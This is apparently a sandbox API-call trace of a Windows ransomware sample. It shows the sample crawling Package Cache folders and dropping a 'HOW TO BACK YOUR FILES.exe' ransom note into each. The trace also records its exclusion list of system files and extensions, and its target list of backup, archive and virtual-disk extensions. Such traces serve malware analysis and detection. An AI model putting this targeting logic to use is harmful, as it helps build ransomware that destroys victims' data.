	[0064.888] CloseHandle (hObject=0x14c) returned 1
	[0064.888] CloseHandle (hObject=0x154) returned 1
	[0064.888] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0064.888] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0064.888] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0064.889] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48395900, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x48395900, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x48395900, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0
	[0064.889] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0064.889] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fc90
	[0064.889] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030"
	[0064.889] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599f60 | out: hHeap=0x580000) returned 1
	[0064.889] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc88 | out: hHeap=0x580000) returned 1
	[0064.889] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned 82
	[0064.889] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030"
	[0064.889] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0064.889] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0064.890] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0064.890] GetLastError () returned 0x0
	[0064.890] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0064.890] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0064.890] CloseHandle (hObject=0x15c) returned 1
	[0064.890] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0064.890] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0064.890] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f4bbd50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f4bbd50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0064.890] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0064.890] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0064.890] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0064.890] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f4bbd50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f4bbd50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0064.890] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0064.890] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0064.890] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0064.890] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0064.890] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f4bbd50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f4bbd50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0064.890] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0064.891] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f4bbd50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f4bbd50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
	[0064.891] lstrcmpiW (lpString1="packages", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0064.891] lstrcmpiW (lpString1="packages", lpString2="Apollon865.txt.exe") returned 1
	[0064.891] lstrcmpiW (lpString1="packages", lpString2=".") returned 1
	[0064.891] lstrcmpiW (lpString1="packages", lpString2="..") returned 1
	[0064.891] lstrcmpiW (lpString1="packages", lpString2="windows") returned -1
	[0064.891] lstrcmpiW (lpString1="packages", lpString2="bootmgr") returned 1
	[0064.891] lstrcmpiW (lpString1="packages", lpString2="temp") returned -1
	[0064.891] lstrcmpiW (lpString1="packages", lpString2="pagefile.sys") returned -1
	[0064.891] lstrcmpiW (lpString1="packages", lpString2="boot") returned 1
	[0064.891] lstrcmpiW (lpString1="packages", lpString2="ids.txt") returned 1
	[0064.891] lstrcmpiW (lpString1="packages", lpString2="ntuser.dat") returned 1
	[0064.891] lstrcmpiW (lpString1="packages", lpString2="perflogs") returned -1
	[0064.891] lstrcmpiW (lpString1="packages", lpString2="MSBuild") returned 1
	[0064.891] lstrlenW (lpString="packages") returned 8
	[0064.891] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*") returned 84
	[0064.891] lstrcpyW (in: lpString1=0x119e6ae, lpString2="packages" | out: lpString1="packages") returned="packages"
	[0064.891] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc88
	[0064.891] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb8) returned 0x5c1458
	[0064.891] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fc90 | out: ListHead=0x5b75f0, ListEntry=0x59fc90) returned 0x5b7c10
	[0064.891] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f4bbd50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f4bbd50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0064.891] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0064.891] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fc90
	[0064.891] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages"
	[0064.891] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c1458 | out: hHeap=0x580000) returned 1
	[0064.891] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc88 | out: hHeap=0x580000) returned 1
	[0064.891] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages") returned 91
	[0064.891] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages"
	[0064.891] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0064.891] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0064.892] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0064.892] GetLastError () returned 0x0
	[0064.892] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0064.892] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0064.892] CloseHandle (hObject=0x15c) returned 1
	[0064.892] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0064.892] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0064.892] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f4bbd50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f4bbd50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0064.892] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0064.893] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0064.893] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0064.893] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f4bbd50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f4bbd50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0064.893] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0064.893] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0064.893] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0064.893] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0064.893] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f4bbd50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f4bbd50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0064.893] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0064.893] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f4e1eb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f4e1eb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 1
	[0064.893] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0064.893] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="Apollon865.txt.exe") returned 1
	[0064.893] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2=".") returned 1
	[0064.893] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="..") returned 1
	[0064.893] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="windows") returned -1
	[0064.893] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="bootmgr") returned 1
	[0064.893] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="temp") returned 1
	[0064.893] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="pagefile.sys") returned 1
	[0064.893] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="boot") returned 1
	[0064.893] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="ids.txt") returned 1
	[0064.893] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="ntuser.dat") returned 1
	[0064.893] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="perflogs") returned 1
	[0064.893] lstrcmpiW (lpString1="vcRuntimeAdditional_x86", lpString2="MSBuild") returned 1
	[0064.893] lstrlenW (lpString="vcRuntimeAdditional_x86") returned 23
	[0064.893] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\*") returned 93
	[0064.893] lstrcpyW (in: lpString1=0x119e6c0, lpString2="vcRuntimeAdditional_x86" | out: lpString1="vcRuntimeAdditional_x86") returned="vcRuntimeAdditional_x86"
	[0064.893] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc88
	[0064.893] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xe8) returned 0x599f60
	[0064.893] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fc90 | out: ListHead=0x5b75f0, ListEntry=0x59fc90) returned 0x5b7c10
	[0064.893] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f4e1eb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f4e1eb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0
	[0064.894] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0064.894] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fc90
	[0064.894] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86"
	[0064.894] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599f60 | out: hHeap=0x580000) returned 1
	[0064.894] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc88 | out: hHeap=0x580000) returned 1
	[0064.894] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86") returned 115
	[0064.894] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86"
	[0064.894] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0064.894] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0064.894] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0064.894] GetLastError () returned 0x0
	[0064.894] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0064.894] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0064.895] CloseHandle (hObject=0x15c) returned 1
	[0064.895] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0064.895] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0064.895] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f4e1eb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f4e1eb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0064.895] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0064.895] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0064.895] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0064.895] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f4e1eb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f4e1eb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0064.895] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0064.895] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0064.895] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0064.895] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0064.895] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aae6600, ftCreationTime.dwHighDateTime=0x1ced4d9, ftLastAccessTime.dwLowDateTime=0x8aae6600, ftLastAccessTime.dwHighDateTime=0x1ced4d9, ftLastWriteTime.dwLowDateTime=0x8aae6600, ftLastWriteTime.dwHighDateTime=0x1ced4d9, nFileSizeHigh=0x0, nFileSizeLow=0x4ea418, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1
	[0064.895] lstrcmpiW (lpString1="cab1.cab", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0064.895] lstrcmpiW (lpString1="cab1.cab", lpString2="Apollon865.txt.exe") returned 1
	[0064.895] lstrcmpiW (lpString1="cab1.cab", lpString2=".") returned 1
	[0064.895] lstrcmpiW (lpString1="cab1.cab", lpString2="..") returned 1
	[0064.895] lstrcmpiW (lpString1="cab1.cab", lpString2="windows") returned -1
	[0064.895] lstrcmpiW (lpString1="cab1.cab", lpString2="bootmgr") returned 1
	[0064.895] lstrcmpiW (lpString1="cab1.cab", lpString2="temp") returned -1
	[0064.895] lstrcmpiW (lpString1="cab1.cab", lpString2="pagefile.sys") returned -1
	[0064.895] lstrcmpiW (lpString1="cab1.cab", lpString2="boot") returned 1
	[0064.895] lstrcmpiW (lpString1="cab1.cab", lpString2="ids.txt") returned -1
	[0064.896] lstrcmpiW (lpString1="cab1.cab", lpString2="ntuser.dat") returned -1
	[0064.896] lstrcmpiW (lpString1="cab1.cab", lpString2="perflogs") returned -1
	[0064.896] lstrcmpiW (lpString1="cab1.cab", lpString2="MSBuild") returned -1
	[0064.896] lstrlenW (lpString="cab1.cab") returned 8
	[0064.896] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\*") returned 117
	[0064.896] lstrcpyW (in: lpString1=0x119e6f0, lpString2="cab1.cab" | out: lpString1="cab1.cab") returned="cab1.cab"
	[0064.896] lstrlenW (lpString="cab1.cab") returned 8
	[0064.896] lstrlenW (lpString="Apollon865") returned 10
	[0064.896] lstrlenW (lpString=".dll") returned 4
	[0064.896] lstrcmpiW (lpString1="cab1.cab", lpString2=".dll") returned 1
	[0064.896] lstrlenW (lpString=".lnk") returned 4
	[0064.896] lstrcmpiW (lpString1="cab1.cab", lpString2=".lnk") returned 1
	[0064.896] lstrlenW (lpString=".ini") returned 4
	[0064.896] lstrcmpiW (lpString1="cab1.cab", lpString2=".ini") returned 1
	[0064.896] lstrlenW (lpString=".sys") returned 4
	[0064.896] lstrcmpiW (lpString1="cab1.cab", lpString2=".sys") returned 1
	[0064.896] lstrlenW (lpString="cab1.cab") returned 8
	[0064.896] lstrlenW (lpString="bak") returned 3
	[0064.896] lstrcmpiW (lpString1="cab", lpString2="bak") returned 1
	[0064.896] lstrlenW (lpString="ba_") returned 3
	[0064.896] lstrcmpiW (lpString1="cab", lpString2="ba_") returned 1
	[0064.896] lstrlenW (lpString="dbb") returned 3
	[0064.896] lstrcmpiW (lpString1="cab", lpString2="dbb") returned -1
	[0064.896] lstrlenW (lpString="vmdk") returned 4
	[0064.896] lstrcmpiW (lpString1=".cab", lpString2="vmdk") returned -1
	[0064.896] lstrlenW (lpString="rar") returned 3
	[0064.896] lstrcmpiW (lpString1="cab", lpString2="rar") returned -1
	[0064.896] lstrlenW (lpString="zip") returned 3
	[0064.896] lstrcmpiW (lpString1="cab", lpString2="zip") returned -1
	[0064.896] lstrlenW (lpString="tgz") returned 3
	[0064.896] lstrcmpiW (lpString1="cab", lpString2="tgz") returned -1
	[0064.896] lstrlenW (lpString="vbox") returned 4
	[0064.896] lstrcmpiW (lpString1=".cab", lpString2="vbox") returned -1
	[0064.896] lstrlenW (lpString="vdi") returned 3
	[0064.897] lstrcmpiW (lpString1="cab", lpString2="vdi") returned -1
	[0064.897] lstrlenW (lpString="vhd") returned 3
	[0064.897] lstrcmpiW (lpString1="cab", lpString2="vhd") returned -1
	[0064.897] lstrlenW (lpString="vhdx") returned 4
	[0064.897] lstrcmpiW (lpString1=".cab", lpString2="vhdx") returned -1
	[0064.897] lstrlenW (lpString="avhd") returned 4
